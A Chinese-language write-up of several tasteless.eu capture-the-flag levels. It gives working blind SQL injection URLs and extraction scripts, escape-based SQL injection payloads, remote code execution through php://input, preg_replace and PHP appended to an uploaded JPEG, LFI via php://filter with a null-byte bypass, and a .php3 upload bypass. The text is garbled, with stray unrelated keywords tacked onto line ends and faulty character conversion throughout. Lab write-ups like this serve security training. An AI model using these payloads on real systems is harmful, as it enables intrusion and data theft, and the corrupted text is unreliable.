國外的一個靶場,都是單點知識,medium大部分仍是比較簡單html
http://chall.tasteless.eu/level1/index.php?dir=ASC正則表達式
觀察URL應該能猜到後臺的SQL語句爲算法
select * from id order by xx ASC;sql
其中order by id後面爲可控點,利用正則和^運算觀察網頁回顯差異可得flag長度爲32,應該是串md5數據庫
http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) ) regexp '^30$')less
http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) ) regexp '^31$')dom
http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) ) regexp '^32$')函數
而後寫腳本猜解post
1 import requests 2 3 chars='0123456789qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM' 4 5 def isTrue(p): 6 url="http://chall.tasteless.eu/level1/index.php?dir=^(select (select flag from level1_flag) regexp '^{}')".format(p) 7 print url 8 res=requests.get(url) 9 if 'date of birth. </p><p>3 : Many facts of' in res.text: 10 return True 11 else: 12 return False 13 14 15 length=32 16 p='' 17 for i in range(length): 18 for c in chars: 19 tp=p+c 20 if isTrue(tp): 21 p=tp 22 break 23 print p
1 <?php 2 highlight_file('index.php'); 3 /* 4 view file: php.ini 5 so here is my hint: the included php.ini file is part of the configugartion file used on the server the bug was found. 6 so there will be something in it which enables you to solve this level, wont? 7 8 always be UP TO DATE! 9 10 hint enough, might just take you seconds to do?! 11 */ 12 error_reporting(0); 13 include('anti_rfi.php'); //rfi is forbidden!!!!! 14 15 $inc = @$_GET['file']; 16 @require_once($inc); 17 ?>
用php://input直接就能執行任意代碼
這個和第一個有點相似,但稍微麻煩一點,在這關裏過濾了一些字符,好比if,updatexml,extractvalue,*等,並且網頁回顯是隨機抽1到3條
測試屢次後發現,能夠利用除法,好比隨機出來的是id爲1和2的數據,默認排序就是先1後2,若是都除以-1,那麼回顯順序就是反的,以此差別猜解數據
select xx regexp xx 的返回值是0或1,0-1=-1,1-1=0(除以0這裏好像不會有問題,其值爲NULL)
一樣方法判斷出長度爲32(32的時候回顯的纔是升序,其餘都是降序)
http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^30$') -1 )
http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^31$') -1 )
http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^32$') -1 )
而後寫腳本自動猜解,一個個字符比對速度很慢,能夠改下算法,例如二分
1 import requests 2 import re 3 4 chars='0123456789qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM' 5 6 def isTrue(p): 7 url="http://chall.tasteless.eu/level6/index.php?in=/( ( select (select flag from level6_flag) regexp '^{}') -1 )".format(p) 8 print url 9 10 res=requests.get(url) 11 r=re.findall(r'(\d) :',res.text) 12 count=len(r) 13 while count<2: 14 res=requests.get(url) 15 r=re.findall(r'(\d) :',res.text) 16 count=len(r) 17 pass 18 if int(r[0])>int(r[1]): 19 return False 20 else: 21 return True 22 23 length=32 24 p='' 25 for i in range(length): 26 for c in chars: 27 tp=p+c 28 if isTrue(tp): 29 p=tp 30 break 31 print p
下載源碼後發現.htaccess中設置了會將jpeg文件當作php解析,index.php檢測了文件的MIME等,因此拿一張正常的jpeg圖片,尾部加上php代碼上傳便可運行
訪問上傳的圖片而後查看網頁源碼即得
1 <html> 2 <head> 3 <title>In My Dreams</title> 4 </head> 5 <body> 6 <p>Here is the <a href='index2.html'>source</a>!</p> 7 </body> 8 </html> 9 <?php 10 //hi all! you may ask what to do here? its simple, just have a nice walk through these lines, then just call w_() 11 //and its done 12 $_k = @$_GET['magic']; //put the magic byte here :) 13 $_u=create_function('$_a_','foreach($_a_ as $_=>$__){$a[$_]=$__;}return @array_splice($a,1);'); 14 $_u=@call_user_func($_u,@$_GET['argv']);function w_(){print'Good job! flag: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';}$_f=chr(112).chr(114).__CLASS__."\x65"."\x67"."_"; 15 $_function=create_function('$___,$_,$__','return(strcmp((($_^$__)|$___),123)==0)?1:0;'); 16 ((int)$_function((int)$_u[0],(int)$_u[1],(int)$_u[2])>0)?0:printf("%s",die()); 17 $__=cosh;$___=$__[asinh(_)];$_t="\x31";$___.=$__[$_t+$_t+$_t];$___.=$__[$_t];$___++;$___++;$___++; 18 $_f.=substr(str_repeat("\x72",11),-3,1)."e";$_f_=metaphone(crc32(__DIR__).preg_replace("%^=(\?):*?[\sa-z*]*{\$}*?.[^\D]{1,}(\w|\s)$%sUi","${2}1,$1",crc32(__FILE__))); 19 @$_a.=__METHOD__."\x25".$___(@0+"@${$_t}"+~$_k+1*(5*20))."\x0";$_f.="pl"; 20 $_f.="ac"."\x65";@$_f("%.".$_a."%ixs","(string)$_u[3]()",' ');
這代碼看起來是真的噁心,但最終仍是梳理出來了,期間的一些亂七八糟的運算,其實在後面使用某個變量以前用var_dump把這個變量輸出看看是啥,再替換成這個就行,所有替換一次應該看懂代碼就沒問題
而後目標是執行w_()這個函數,方法呢就是preg_replace的代碼執行,這個具體能夠百度,可是這裏有點特殊啊,magic參數的構造我一直沒成功,就用burp跑了一下,最終發現0xCE這個字符恰好能觸發,因此最終payload
http://level9.tasteless.eu/index.php?magic=%ce&argv[0]=123&argv[1]=123&argv[2]=123&argv[3]=&argv[4]=w_
一個登陸框,沒有提示,能想到了只能是注入了,一般也都是SQl注入,但輸入單雙引號發現並未報錯,多是後臺對引號進行了轉義
猜測後臺SQL語句是
SELECT * FROM users WHERE username='$user' and password='$pass'
若是輸入單引號,則會被轉義,即若是輸入帳號 ' 密碼 x,語句爲
SELECT * FROM users WHERE username='\'' and password='x'
那麼測試轉義符,發現報錯
那麼能夠判定後臺的處理邏輯確實是如此,並且\不在應當轉義的列表中,則當前的語句應該爲
SELECT * FROM users WHERE username='\' and password='x'
語句未閉合,固然報錯
而後便可構造payload
\
or 1#
SELECT * FROM users WHERE username='\' and password='or 1#'
成功登錄
存在本地文件包含,直接包含那個文件,flag就在其中
http://level11.tasteless.eu/index.php?file=php://filter/read=convert.base64-encode/resource=config.easy.inc.php
hard難度用00截斷繞過
http://level11.tasteless.eu/index.php?hard=1&file=%00php://filter/read=convert.base64-encode/resource=config.hard.inc.php
這個根據程序功能和hint基本能肯定是SQL注入,但嘗試輸入單雙引號並未出錯,那麼確定就是對引號進行了轉義,因此嘗試轉義符
雖然並未報錯,但顯示的信息確定是不對的,至於爲何會出現和上面一條同樣的消息,這裏不知道後臺處理邏輯我也不清楚,但能夠判定的是確定這裏確定出錯了,因此猜測後臺插入數據庫數據的語句爲(代碼不徹底符合,由於測試發現注入點只在name處有,text到處理應該更加嚴格)
1 <?php 2 $name=str_replace("'","\'",$_GET['name']); 3 $message=str_replace("'","\'",$_GET['message']); 4 $name=str_replace('"','\"',$name); 5 $message=str_replace('"','\"',$message); 6 $sql="INSERT INTO table_name (name,message) VALUES ('".$name."','".$message."')"; 7 echo $sql;
代碼只把單雙引號轉義,但並未轉義轉義符,因此若是name處構造以下
title\',1111111)#
最後的語句即爲
INSERT INTO table_name (name,message) VALUES ('title\\',111111)#','x')
最後payload
title\',(select flag from level15_flag))#
1 <html> 2 <head> 3 <title>Extensions?</title> 4 </head> 5 <body> 6 <p>source code: <a href="./index.php~">index.php~</a></p> 7 <br/> 8 <form action="index.php" method="post" enctype="multipart/form-data"> 9 <label for="file">Filename:</label> 10 <input type="file" name="file" id="file"><br> 11 <input type="submit" name="submit" value="Submit"> 12 </form> 13 <br /> 14 <?php 15 error_reporting(0); 16 17 $output = array (); 18 $errors = array (); 19 $savePath = "upload"; 20 21 if (isset ( $_FILES ['file'] ) && $_FILES ["file"] ["error"] == UPLOAD_ERR_OK) { 22 23 $fileName = $_FILES ['file'] ['name']; 24 $fileSize = $_FILES ['file'] ['size']; 25 $fileTemp = $_FILES ['file'] ['tmp_name']; 26 $fileType = $_FILES["file"]["type"] ; 27 $fileExt = pathinfo ( $fileName, PATHINFO_EXTENSION ); 28 $fileExt = strtolower ( $fileExt ); 29 30 if (preg_match("/php$/i", $fileExt)) { 31 $errors [] = "Invalid File Extention"; 32 } 33 if ($fileSize > 800*1024) { 34 $errors [] = "File Too large"; 35 } 36 if (! is_writable ( $savePath )) { 37 $errors [] = "File Destination not writeable"; 38 } 39 40 $fileDst = $savePath . DIRECTORY_SEPARATOR . $fileName; 41 $filePrifix = basename ( $fileName, "." . $fileExt ); 42 43 44 if(file_exists($fileDst)) { 45 $errors [] = "Filename exists"; 46 } 47 48 49 if (count ( $errors ) == 0) { 50 if (@move_uploaded_file ( $fileTemp, $fileDst )) { 51 $output['Destination'] = $fileDst; 52 } else { 53 $errors [] = "Error Saving File"; 54 } 55 } 56 57 if(count($errors) > 0) 58 { 59 echo "<h2>Upload Error</h2>" ; 60 foreach ($errors as $error){ 61 echo $error , "<br/>" ; 62 } 63 }else{ 64 echo "<h2>File Uploaded</h2>" ; 65 foreach ($output as $key => $value){ 66 echo $key . ": <a href=\"./$value\">" .$value , "</a><br/>" ; 67 } 68 } 69 } 70 ?> 71 </body> 72 </html>
代碼中的正則阻止了php後綴的文件,直接上傳php後綴的文件確定不行,不過
Apache 配置中會有
.+.ph(p[345]?|t|tml)
此類的正則表達式,文件名知足便可被當作php解析,也就是說php3,php4,php5,pht,phtml都
是能夠被解析的
因此上傳一個PHP文件,後綴名爲php3,便可被解析,能夠上傳一句話,或者直接以下
1 <?php 2 var_dump(scandir("..")); 3 echo file_get_contents("../D4tFl4g.php"); 4 ?>
查看源碼即得flag